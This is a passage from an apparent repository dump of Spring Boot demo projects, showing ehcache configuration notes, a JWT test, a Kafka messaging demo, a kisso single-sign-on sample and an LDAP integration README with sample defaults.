:....::....:..:....:...: ::.\nW#K#WW#EK#WEDDfK#E#WDfDDWWEKKW#KW#K#WW##KWWWKWE#KWWWKK##W##W#WW#W#WWW#KKWKEKKKKKWE##W#KEDEEEKW##WWW#DGDDGDGDGGGGDGGDDDEDKEKEWEEEDL,:.:. : . .,tjfDDD :  : :: :: :: :  :  :....:: :.\n######WE#WEKDELEWW#EDfLEWKKKWW#WWWW#W#KKKKE#WKWWKW#W###W#W##WWW#K####KWEKKKKKKW##W##KKKDEKKEKWWWW#WWEDDGGGGGGDGDGDGDDEEEEKEKKEKEEDt.:.:..... tjjfEDD :  ... :  :..............  ...:\n#WWW#E#D#WEDEDLWWWWKDffKKWKK#W#WWWW##K##EWEW#K#K##W#W#W#W#WK#WEK##W#EKWEKWEW#K#WK#WKWKEEEDDEWWKWWWWWWKDDGGGGGDGDGDDDDEEEEEEEEEEEEDD :.:..:.: jjtDDDf. :.... : : :.... :  ..... ....:\nW###WW#EE#KEDDfEWWKKDfDDKKKWWK#WW#K##W#KKWWWWKKW#WWWKW#####W##W##W#KKKKKEEWWK#E##K##WWDDEDEDEWWEWWWWWKEDDGGGDGDGDGGDDEDEEKKKEEEEEED..:. . . .iijEDDj : .. ...  . .. .:  . .. .  .\n#WW###WKWWEDEDLKW#KEDfDEWKWK#W#KW#WWW#EWKKWWWWWKKK#W#W#W#K###W##W#KKKKKKKKWWWWW##W#KWEEEDEDEKKWKWWWWW#KDGDGGGGGGDGDDDDEEEEEEEEEEDEDi. :..::..jjjDDG,. . ..   : ..  : . :. ..: : : ..\nW#K#W##EWWWEDDLKWKKEDfDEEEW#KWK#WW#WK#WKWEWWWWW#WK#WWW###W#K###W###EKKW#WWE#WWWWWWWWEWDDEDDEEWKKWK#KWWWEDGGGDGDGDGDDDEDKEKEEEEKEEDDf,:. . . .tijDDf..   .. .. ..  :   .. : . . .\n#WWWW##EK#KEEDfKWKWEGfDEKKW#KKWW#K#KWWWWWEWW#E#K##K#KW###W#K#####KWEKKW#WWK##KKWKW#KKKDDDDDDDKWKKKKWW#WWDDGGDGDGGDDDDEDEEEKEEEDEDEDDL, .:...,jjGDDt : .: : ...... :  ... : ....: ..\n#W#W#W#WKKEDDDLKWW#EDfGKK#KW###WW#K#K#KKKWW#KWW#WW#K##K##K###W#W##EKKW#K#E#E#WWWWEKKWWEEDEEDEKKKKKWWKWWWEDDGGGGDDGDDDDEEEEEEKEEDEDDDDj.: ...tjDEDG,. .. . .: .: ....:.... : ... : ..\nWWW#W###EWKEDDLKKWKDDfGKKKW#WK#KWWWW#W#KWWWWEWK#WKW#KW##W###W####WWEWWW#WWE#K#WK#KWKWWEDEDEDEWKWKKKKWWWWWEDGDGGGDGDDDEEDEEEEEEDDDDEDDD.... .tDEDDD, ... :......... :  : .: :: .....\nWW###W##EWEEDDLKEWEKGfDEWW#W##WWW#KW#W#WE#WWWEW#WE#K###WK#WWK###WWEKWW#W#KWW#W#EEKKKW#WDDDDEDEKKKKKKKW#WWWWGGGGGDGDDDDEDEEEEEEDDDDDDDDj. ..;DEDDDL...:..:...:...::.........:..::..:\n##W#KW##EKWDGDfKKKKEDfDKEWWWWW#WK#K#WWWKWKW#KKK#WW#W##W#######W##WW#K##K##KW#KW#WEK#KKEEDKEDEDEWKWKWWKWKW#WDDGGGDGDDDEEEEEEEEDDDDDDDDDL,.. tEEDDDf..: ::..:: ::.::.::::..:..:..:.::.\nWWK#W###DEEEGDLEKKKKDfDEWK#K##W##W#EW#KWWW#KKW#W##WWWW##W#W#W##W#KEWKWW#KWK##W#KEEWW##KDEDDDEEDKWKWKWWWWWWWEDGDGGDDDDDEDEEEEDEDDDDDDDDGL .,tEDKDGf.:.:. :...:. :  :..:.::..: :. :...\nW#W#W###DEWEDGGEDKKEDLDKK#K#WW###W#WK#KWWW#EWW#W##W#K##WW#W#WW##WKKKKKWWWWWWK#KWKKK##KKEDEEDEEEDWKKKWKW#WWWWKDGGGDGDDDEDEEEEEDEDDDGDGDDDD.LDEEDDDj:..:::....::.:..: ::.:.... :...:.:\n#KW#WW##EEKDGDfDEKWEDLEK#K#K##W##K#KWWWWW#K#KWK###WW#W##W####W#KWE#EW##WWWW##WKKKK#WWKKDEDKKEEDEKWWWWKWKWWW#KEGGGGGDDEDEEEDEDDDDDDDDDGGGDjGDEDDDGj.:: ::.::: ::..::...: :.:::.....:\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/main/resources/ehcache.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<ehcache xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:noNamespaceSchemaLocation=\"http://ehcache.org/ehcache.xsd\"\n         updateCheck=\"false\" monitoring=\"autodetect\"\n         dynamicConfig=\"true\">\n\n    <diskStore path=\"java.io.tmpdir/ehcache\"/>\n\n    <defaultCache\n            maxElementsInMemory=\"50000\"\n            eternal=\"false\"\n            timeToIdleSeconds=\"3600\"\n            timeToLiveSeconds=\"3600\"\n            overflowToDisk=\"true\"\n            diskPersistent=\"false\"\n            diskExpiryThreadIntervalSeconds=\"120\"\n    />\n\n    <cache name=\"authorizationCache\"\n           maxEntriesLocalHeap=\"2000\"\n           eternal=\"false\"\n           timeToIdleSeconds=\"3600\"\n           timeToLiveSeconds=\"3600\"\n           overflowToDisk=\"false\"\n           statistics=\"true\">\n    </cache>\n\n    <cache name=\"authenticationCache\"\n           maxEntriesLocalHeap=\"2000\"\n           eternal=\"false\"\n           timeToIdleSeconds=\"3600\"\n           timeToLiveSeconds=\"3600\"\n           overflowToDisk=\"false\"\n           statistics=\"true\">\n    </cache>\n\n    <cache name=\"org.apache.shiro.realm.text.PropertiesRealm-0-accounts\"\n           maxElementsInMemory=\"1000\"\n           eternal=\"true\"\n           overflowToDisk=\"true\"/>\n\n</ehcache>\n\n        <!--\n            maxElementsInMemory=\"10000\" \t//Cache中最多允许保存的数据对象的数量\n            external=\"false\" \t\t\t\t//缓存中对象是否为永久的，如果是，超时设置将被忽略，对象从不过期\n            timeToLiveSeconds=\"3600\"  \t\t//缓存的存活时间，从开始创建的时间算起\n            timeToIdleSeconds=\"3600\"  \t\t//多长时间不访问该缓存，那么ehcache 就会清除该缓存\n\n            这两个参数很容易误解，看文档根本没用，我仔细分析了ehcache的代码。结论如下：\n            1、timeToLiveSeconds的定义是：以创建时间为基准开始计算的超时时长；\n            2、timeToIdleSeconds的定义是：在创建时间和最近访问时间中取出离现在最近的时间作为基准计算的超时时长；\n            3、如果仅设置了timeToLiveSeconds，则该对象的超时时间=创建时间+timeToLiveSeconds，假设为A；\n            4、如果没设置timeToLiveSeconds，则该对象的超时时间=min(创建时间，最近访问时间)+timeToIdleSeconds，假设为B；\n            5、如果两者都设置了，则取出A、B最少的值，即min(A,B)，表示只要有一个超时成立即算超时。\n\n            overflowToDisk=\"true\"    \t\t//内存不足时，是否启用磁盘缓存\n            diskSpoolBufferSizeMB\t//设置DiskStore（磁盘缓存）的缓存区大小。默认是30MB。每个Cache都应该有自己的一个缓冲区\n            maxElementsOnDisk\t\t//硬盘最大缓存个数\n            diskPersistent\t\t\t//是否缓存虚拟机重启期数据The default value is false\n            diskExpiryThreadIntervalSeconds\t//磁盘失效线程运行时间间隔，默认是120秒。\n            memoryStoreEvictionPolicy=\"LRU\" //当达到maxElementsInMemory限制时，Ehcache将会根据指定的策略去清理内存。默认策略是LRU（最近最少使用）。你可以设置为FIFO（先进先出）或是LFU（较少使用）。\n            clearOnFlush\t//内存数量最大时是否清除\n            maxEntriesLocalHeap=\"0\"\n            maxEntriesLocalDisk=\"1000\"\n        -->\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jwt/src/test/java/com/xncoding/jwt/SimpleTest.java",
    "content": "package com.xncoding.jwt;\n\nimport com.xncoding.jwt.common.util.JWTUtil;\nimport com.xncoding.jwt.shiro.ShiroKit;\nimport org.junit.Test;\n\n/**\n * SimpleTest\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/4\n */\npublic class SimpleTest {\n    @Test\n    public void testJwt() {\n        String username = \"admin\";\n        //随机数\n        String salt = ShiroKit.getRandomSalt(16);\n        //原密码\n        String password = \"12345678\";\n        String encodedPassword = ShiroKit.md5(password, username + salt);\n        System.out.println(\"这个是保存进数据库的随机数:\" + salt);\n        System.out.println(\"这个是保存进数据库的加密后密码:\" + encodedPassword);\n        // 生成token\n        String token = JWTUtil.sign(username, encodedPassword);\n        System.out.println(\"token=\" + token);\n        // 验证token\n        JWTUtil.verify(token, username, encodedPassword);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_kafka/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.1.3.RELEASE</version>\n        <relativePath/> <!-- lookup parent from repository -->\n    </parent>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>springboot_kafka</artifactId>\n    <version>1.0</version>\n\n    <properties>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.kafka</groupId>\n            <artifactId>spring-kafka</artifactId>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_kafka/src/main/java/com/example/demo/KafkaApplication.java",
    "content": "package com.example.demo;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class KafkaApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(KafkaApplication.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_kafka/src/main/java/com/example/demo/config/KafkaConsumerConfig.java",
    "content": "package com.example.demo.config;\n\nimport com.example.demo.domain.Message;\nimport org.apache.kafka.clients.consumer.ConsumerConfig;\nimport org.apache.kafka.common.serialization.StringDeserializer;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.kafka.annotation.EnableKafka;\nimport org.springframework.kafka.config.ConcurrentKafkaListenerContainerFactory;\nimport org.springframework.kafka.core.ConsumerFactory;\nimport org.springframework.kafka.core.DefaultKafkaConsumerFactory;\nimport org.springframework.kafka.support.serializer.JsonDeserializer;\nimport org.springframework.kafka.support.serializer.JsonSerializer;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * @author MrBird\n */\n@EnableKafka\n@Configuration\npublic class KafkaConsumerConfig {\n\n    @Value(\"${spring.kafka.bootstrap-servers}\")\n    private String bootstrapServers;\n\n    @Value(\"${spring.kafka.consumer.group-id}\")\n    private String consumerGroupId;\n\n    @Value(\"${spring.kafka.consumer.auto-offset-reset}\")\n    private String autoOffsetReset;\n\n    @Bean\n    public ConsumerFactory<String, Message> consumerFactory() {\n        Map<String, Object> props = new HashMap<>();\n        props.put(\n                ConsumerConfig.BOOTSTRAP_SERVERS_CONFIG,\n                bootstrapServers);\n        props.put(\n                ConsumerConfig.GROUP_ID_CONFIG,\n                consumerGroupId);\n        props.put(\n                ConsumerConfig.AUTO_OFFSET_RESET_CONFIG,\n                autoOffsetReset);\n        // props.put(\n        //         ConsumerConfig.KEY_DESERIALIZER_CLASS_CONFIG,\n        //         StringDeserializer.class);\n        // props.put(\n        //         ConsumerConfig.VALUE_DESERIALIZER_CLASS_CONFIG,\n        //         StringDeserializer.class);\n        return new DefaultKafkaConsumerFactory<>(\n                props,\n                new StringDeserializer(),\n                new JsonDeserializer<>(Message.class));\n    }\n\n    @Bean\n    public ConcurrentKafkaListenerContainerFactory<String, Message> kafkaListenerContainerFactory() {\n        ConcurrentKafkaListenerContainerFactory<String, Message> factory\n                = new ConcurrentKafkaListenerContainerFactory<>();\n        factory.setConsumerFactory(consumerFactory());\n        // factory.setRecordFilterStrategy(\n        //         r -> r.value().contains(\"fuck\")\n        // );\n        return factory;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_kafka/src/main/java/com/example/demo/config/KafkaProducerConfig.java",
    "content": "package com.example.demo.config;\n\nimport com.example.demo.domain.Message;\nimport org.apache.kafka.clients.producer.ProducerConfig;\nimport org.apache.kafka.common.serialization.StringSerializer;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.kafka.core.DefaultKafkaProducerFactory;\nimport org.springframework.kafka.core.KafkaTemplate;\nimport org.springframework.kafka.core.ProducerFactory;\nimport org.springframework.kafka.support.serializer.JsonSerializer;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * @author MrBird\n */\n@Configuration\npublic class KafkaProducerConfig {\n\n    @Value(\"${spring.kafka.bootstrap-servers}\")\n    private String bootstrapServers;\n\n    @Bean\n    public ProducerFactory<String, Message> producerFactory() {\n        Map<String, Object> configProps = new HashMap<>();\n        configProps.put(\n                ProducerConfig.BOOTSTRAP_SERVERS_CONFIG,\n                bootstrapServers);\n        configProps.put(\n                ProducerConfig.KEY_SERIALIZER_CLASS_CONFIG,\n                StringSerializer.class);\n        configProps.put(\n                ProducerConfig.VALUE_SERIALIZER_CLASS_CONFIG,\n                JsonSerializer.class);\n        return new DefaultKafkaProducerFactory<>(configProps);\n    }\n\n    @Bean\n    public KafkaTemplate<String, Message> kafkaTemplate() {\n        return new KafkaTemplate<>(producerFactory());\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_kafka/src/main/java/com/example/demo/controller/SendMessageController.java",
    "content": "package com.example.demo.controller;\n\nimport com.example.demo.domain.Message;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.kafka.core.KafkaTemplate;\nimport org.springframework.kafka.support.SendResult;\nimport org.springframework.util.concurrent.ListenableFuture;\nimport org.springframework.util.concurrent.ListenableFutureCallback;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * @author MrBird\n */\n@RestController\npublic class SendMessageController {\n\n    private Logger logger = LoggerFactory.getLogger(this.getClass());\n\n    @Autowired\n    // private KafkaTemplate<String, String> kafkaTemplate;\n    private KafkaTemplate<String, Message> kafkaTemplate;\n\n    // @GetMapping(\"send/{message}\")\n    // public void send(@PathVariable String message) {\n        // this.kafkaTemplate.send(\"test\", message);\n        // ListenableFuture<SendResult<String, String>> future = this.kafkaTemplate.send(\"test\", message);\n        // future.addCallback(new ListenableFutureCallback<SendResult<String, String>>() {\n        //     @Override\n        //     public void onSuccess(SendResult<String, String> result) {\n        //         logger.info(\"成功发送消息：{}，offset=[{}]\", message, result.getRecordMetadata().offset());\n        //     }\n        //\n        //     @Override\n        //     public void onFailure(Throwable ex) {\n        //         logger.error(\"消息：{} 发送失败，原因：{}\", message, ex.getMessage());\n        //     }\n        // });\n    // }\n\n    @GetMapping(\"send/{message}\")\n    public void sendMessage(@PathVariable String message) {\n        this.kafkaTemplate.send(\"test\", new Message(\"mrbird\", message));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_kafka/src/main/java/com/example/demo/domain/Message.java",
    "content": "package com.example.demo.domain;\n\nimport java.io.Serializable;\nimport java.time.LocalTime;\n\n/**\n * @author MrBird\n */\npublic class Message implements Serializable {\n    private static final long serialVersionUID = 6678420965611108427L;\n\n    private String from;\n\n    private String message;\n\n    public Message() {\n    }\n\n    public Message(String from, String message) {\n        this.from = from;\n        this.message = message;\n    }\n\n    @Override\n    public String toString() {\n        return \"Message{\" +\n                \"from='\" + from + '\\'' +\n                \", message='\" + message + '\\'' +\n                '}';\n    }\n\n    public String getFrom() {\n        return from;\n    }\n\n    public void setFrom(String from) {\n        this.from = from;\n    }\n\n    public String getMessage() {\n        return message;\n    }\n\n    public void setMessage(String message) {\n        this.message = message;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_kafka/src/main/java/com/example/demo/listener/KafkaMessageListener.java",
    "content": "package com.example.demo.listener;\n\nimport com.example.demo.domain.Message;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.kafka.annotation.KafkaListener;\nimport org.springframework.kafka.annotation.PartitionOffset;\nimport org.springframework.kafka.annotation.TopicPartition;\nimport org.springframework.kafka.support.KafkaHeaders;\nimport org.springframework.messaging.handler.annotation.Header;\nimport org.springframework.messaging.handler.annotation.Payload;\nimport org.springframework.stereotype.Component;\n\n/**\n * @author MrBird\n */\n@Component\npublic class KafkaMessageListener {\n\n    private Logger logger = LoggerFactory.getLogger(this.getClass());\n\n    // @KafkaListener(topics = \"test\", groupId = \"test-consumer\")\n    // @KafkaListener(groupId = \"test-consumer\",\n    //         topicPartitions = @TopicPartition(topic = \"test\",\n    //                 partitionOffsets = {\n    //                         @PartitionOffset(partition = \"0\", initialOffset = \"0\")\n    //                 }))\n    // public void listen(@Payload String message,\n    //                    @Header(KafkaHeaders.RECEIVED_PARTITION_ID) int partition) {\n    //     logger.info(\"接收消息: {}，partition：{}\", message, partition);\n    // }\n\n    @KafkaListener(topics = \"test\", groupId = \"test-consumer\")\n    public void listen(Message message) {\n        logger.info(\"接收消息: {}\", message);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_kafka/src/main/resources/application.yml",
    "content": "spring:\n  kafka:\n    bootstrap-servers: localhost:9092\n    consumer:\n      group-id: test-consumer\n      auto-offset-reset: latest\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_kisso/README.md",
    "content": "\n# kisso spring boot 演示 demo\n\n> 浏览器控制台查看 localhost 下存在 kisso 名称 cookie 说明成功\n\n# 使用步骤\n1、启动执行 Application<br>\n2、访问 http://localhost:8080/token 提示登录<br>\n3、登录 访问 http://localhost:8080/login 成功再去 2 步骤查看<br>\n\n- 退出登录：http://localhost:8080/logout\n\n\n# 其他开源项目 | Other Project\n\n- [Mybatis-Plus CRUD 快速开发框架](http://git.oschina.net/baomidou/mybatis-plus)\n- [基于Cookie的SSO中间件 Kisso](http://git.oschina.net/baomidou/kisso)\n- [Java快速开发框架 SpringWind](http://git.oschina.net/juapk/SpringWind)\n- [基于Hibernate扩展 Hibernate-Plus](http://git.oschina.net/baomidou/hibernate-plus)\n\n# 期望 | Futures\n\n> 欢迎提出更好的意见，帮助完善 kisso\n\n# 版权 | License\n\n[Apache License 2.0](http://www.apache.org/licenses/LICENSE-2.0)\n\n# 捐赠 | Donate\n\n> [捐赠记录,感谢你们的支持！](http://git.oschina.net/baomidou/kisso/wikis/%E6%8D%90%E8%B5%A0%E8%AE%B0%E5%BD%95)\n\n![捐赠 mybatis-plus](http://git.oschina.net/uploads/images/2015/1222/211207_0acab44e_12260.png \"支持一下mybatis-plus\")\n\n# 关注我 | About Me\n\n![程序员日记](http://git.oschina.net/uploads/images/2016/0121/093728_1bc1658f_12260.png \"程序员日记\")\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_kisso/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_kisso</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>1.5.6.RELEASE</version>\n        <relativePath></relativePath>\n    </parent>\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>kisso</artifactId>\n            <version>3.7.0</version>\n        </dependency>\n    </dependencies>\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_kisso/src/main/java/com/baomidou/kisso/Application.java",
    "content": "package com.baomidou.kisso;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * kisso 演示<br>\n * https://github.com/baomidou/kisso\n * https://gitee.com/baomidou/kisso\n * </p>\n *\n * @author Wujun\n * @since 2017-08-08\n */\n@SpringBootApplication\npublic class Application {\n\n    private static final Logger logger = LoggerFactory.getLogger(Application.class);\n\n    /**\n     * <p>\n     * 1、启动执行<br>\n     * 2、访问 http://localhost:8080/token 提示登录<br>\n     * 3、登录 访问 http://localhost:8080/login 成功再去 2 步骤查看<br>\n     * </p>\n     * <p>\n     * 退出登录：http://localhost:8080/logout\n     * </p>\n     */\n    public static void main(String[] args) {\n        SpringApplication application = new SpringApplication(Application.class);\n        application.run(args);\n        logger.info(\"kisso start!\");\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_kisso/src/main/java/com/baomidou/kisso/SampleController.java",
    "content": "package com.baomidou.kisso;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\nimport com.baomidou.kisso.security.token.SSOToken;\n\n/**\n * <p>\n * KISSO 演示\n * </p>\n *\n * @author Wujun\n * @since 2017-08-08\n */\n@Controller\npublic class SampleController {\n\n    @Autowired\n    protected HttpServletRequest request;\n    @Autowired\n    protected HttpServletResponse response;\n\n    @ResponseBody\n    @RequestMapping(\"/\")\n    public String home() {\n        return \"Hello Kisso!\";\n    }\n\n    // 授权登录\n    @ResponseBody\n    @RequestMapping(\"/login\")\n    public String login() {\n        // 设置登录 COOKIE\n        SSOHelper.setCookie(request, response, SSOToken.create().setIp(request).setId(1000).setIssuer(\"kisso\"), false);\n        return \"login success!\";\n    }\n\n    // 查看登录信息\n    @ResponseBody\n    @RequestMapping(\"/token\")\n    public String token() {\n        String msg = \"暂未登录\";\n        SSOToken ssoToken = SSOHelper.attrToken(request);\n        if (null != ssoToken) {\n            msg = \"登录信息 ip=\" + ssoToken.getIp();\n            msg += \"， id=\" + ssoToken.getId();\n            msg += \"， issuer=\" + ssoToken.getIssuer();\n        }\n        return msg;\n    }\n\n    // 退出登录\n    @ResponseBody\n    @RequestMapping(\"/logout\")\n    public String logout() {\n        SSOHelper.clearLogin(request, response);\n        return \"Logout Kisso!\";\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_kisso/src/main/java/com/baomidou/kisso/WebConfig.java",
    "content": "package com.baomidou.kisso;\n\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.web.bind.annotation.ControllerAdvice;\nimport org.springframework.web.servlet.config.annotation.InterceptorRegistry;\nimport org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;\n\nimport com.baomidou.kisso.web.interceptor.SSOSpringInterceptor;\n\n\n/**\n * <p>\n * WEB 初始化相关配置\n * </p>\n *\n * @author Wujun\n * @since 2017-08-08\n */\n@ControllerAdvice\n@Configuration\npublic class WebConfig extends WebMvcConfigurerAdapter {\n\n    @Override\n    public void addInterceptors(InterceptorRegistry registry) {\n        // kisso 拦截器配置\n        registry.addInterceptor(new SSOSpringInterceptor()).addPathPatterns(\"/**\").excludePathPatterns(\"/login\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_kisso/src/main/resources/application.yml",
    "content": "server:\n    port: 8080\n\n# 单点信息配置，全部可无\nkisso:\n  config:\n    signkey: C691d971EJ3H376G81   # 对称签名密钥\n    cookieName: kisso             # COOKIE 名称\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ldap/README.md",
    "content": "# spring-boot-demo-ldap\n\n> 此 demo 主要演示了 Spring Boot 如何集成 `spring-boot-starter-data-ldap` 完成对 LDAP 的基本 CURD操作, 并给出以登录为实战的 API 示例\n\n## docker openldap 安装步骤\n\n> 参考： https://github.com/osixia/docker-openldap\n1. 下载镜像： `docker pull osixia/openldap:1.2.5`\n\n2. 运行容器： `docker run -p 389:389 -p 636:636 --name my-openldap --detach osixia/openldap:1.2.5`\n\n3. 添加管理员： `docker exec my-openldap ldapsearch -x -H ldap://localhost -b dc=example,dc=org -D \"cn=admin,dc=example,dc=org\" -w admin`\n\n4. 停止容器：`docker stop my-openldap`\n\n5. 启动容器：`docker start my-openldap`\n\n\n## pom.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <artifactId>spring-boot-demo-ldap</artifactId>\n  <version>1.0.0-SNAPSHOT</version>\n  <packaging>jar</packaging>\n\n  <name>spring-boot-demo-ldap</name>\n  <description>Demo project for Spring Boot</description>\n\n  <parent>\n    <artifactId>spring-boot-demo</artifactId>\n    <groupId>com.xkcoding</groupId>\n    <version>1.0.0-SNAPSHOT</version>\n  </parent>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <java.version>1.8</java.version>\n  </properties>\n\n  <dependencies>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-data-ldap</artifactId>\n    </dependency>\n\n    <!-- test -->\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-test</artifactId>\n      <scope>test</scope>\n    </dependency>\n\n    <!-- lombok -->\n    <dependency>\n      <groupId>org.projectlombok</groupId>\n      <artifactId>lombok</artifactId>\n      <optional>true</optional>\n      <scope>provided</scope>\n    </dependency>\n  </dependencies>\n\n</project>\n```\n\n## application.yml\n\n```yaml\nspring:\n  ldap:\n    urls: ldap://localhost:389\n    base: dc=example,dc=org\n    username: cn=admin,dc=example,dc=org\n    password: admin\n```\n\n## Person.java\n\n> 实体类\n> @Entry 注解 映射ldap对象关系 \n```java\n/**\n * People\n *\n * @author fxbin\n * @version v1.0\n * @since 2019/8/26 0:51\n */\n@Data\n@Entry(\n    base = \"ou=people\",\n    objectClasses = {\"posixAccount\", \"inetOrgPerson\", \"top\"}\n)\npublic class Person implements Serializable {\n\n    private static final long serialVersionUID = -7946768337975852352L;\n\n    @Id\n    private Name id;\n\n    private String uidNumber;\n\n    private String gidNumber;\n\n    /**\n     * 用户名\n     */\n    @DnAttribute(value = \"uid\", index = 1)\n    private String uid;\n\n    /**\n     * 姓名\n     */\n    @Attribute(name = \"cn\")\n    private String personName;\n\n    /**\n     * 密码\n     */\n    private String userPassword;\n\n    /**\n     * 名字\n     */\n    private String givenName;\n\n    /**\n     * 姓氏\n     */\n    @Attribute(name = \"sn\")\n    private String surname;\n\n    /**\n     * 邮箱\n     */\n    private String mail;\n\n    /**\n     * 职位\n     */\n    private String title;\n\n    /**\n     * 根目录\n     */\n    private String homeDirectory;\n\n    /**\n     * loginShell\n     */\n    private String loginShell;\n}\n```\n\n## PersonRepository.java\n> person 数据持久层\n```java\n/**\n * PersonRepository\n *\n * @author fxbin\n * @version v1.0\n * @since 2019/8/26 1:02\n */\n@Repository\npublic interface PersonRepository extends CrudRepository<Person, Name> {\n\n    /**\n     * 根据用户名查找\n     *\n     * @param uid 用户名\n     * @return com.xkcoding.ldap.entity.Person\n     */\n    Person findByUid(String uid);\n}\n```\n\n## PersonService.java\n> 数据操作服务\n```java\n/**\n * PersonService\n *\n * @author fxbin\n * @version v1.0\n * @since 2019/8/26 1:05\n */\npublic interface PersonService {\n\n    /**\n     * 登录\n     *\n     * @param request {@link LoginRequest}\n     * @return {@link Result}\n     */\n    Result login(LoginRequest request);\n\n    /**\n     * 查询全部\n     *\n     * @return {@link Result}\n     */\n    Result listAllPerson();\n\n    /**\n     * 保存\n     *\n     * @param person {@link Person}\n     */\n    void save(Person person);\n\n    /**\n     * 删除\n     *\n     * @param person {@link Person}\n     */\n    void delete(Person person);\n\n}\n```\n\n## PersonServiceImpl.java \n> person数据操作服务具体逻辑实现类\n\n```java\n/**\n * PersonServiceImpl\n *\n * @author fxbin\n * @version v1.0\n * @since 2019/8/26 1:05\n */\n@Slf4j\n@Service\n@RequiredArgsConstructor(onConstructor_ = @Autowired)\npublic class PersonServiceImpl implements PersonService {\n    private final PersonRepository personRepository;\n\n    /**\n     * 登录\n     *\n     * @param request {@link LoginRequest}\n     * @return {@link Result}\n     */\n    @Override\n    public Result login(LoginRequest request) {\n        log.info(\"IN LDAP auth\");\n\n        Person user = personRepository.findByUid(request.getUsername());\n\n        try {\n            if (ObjectUtils.isEmpty(user)) 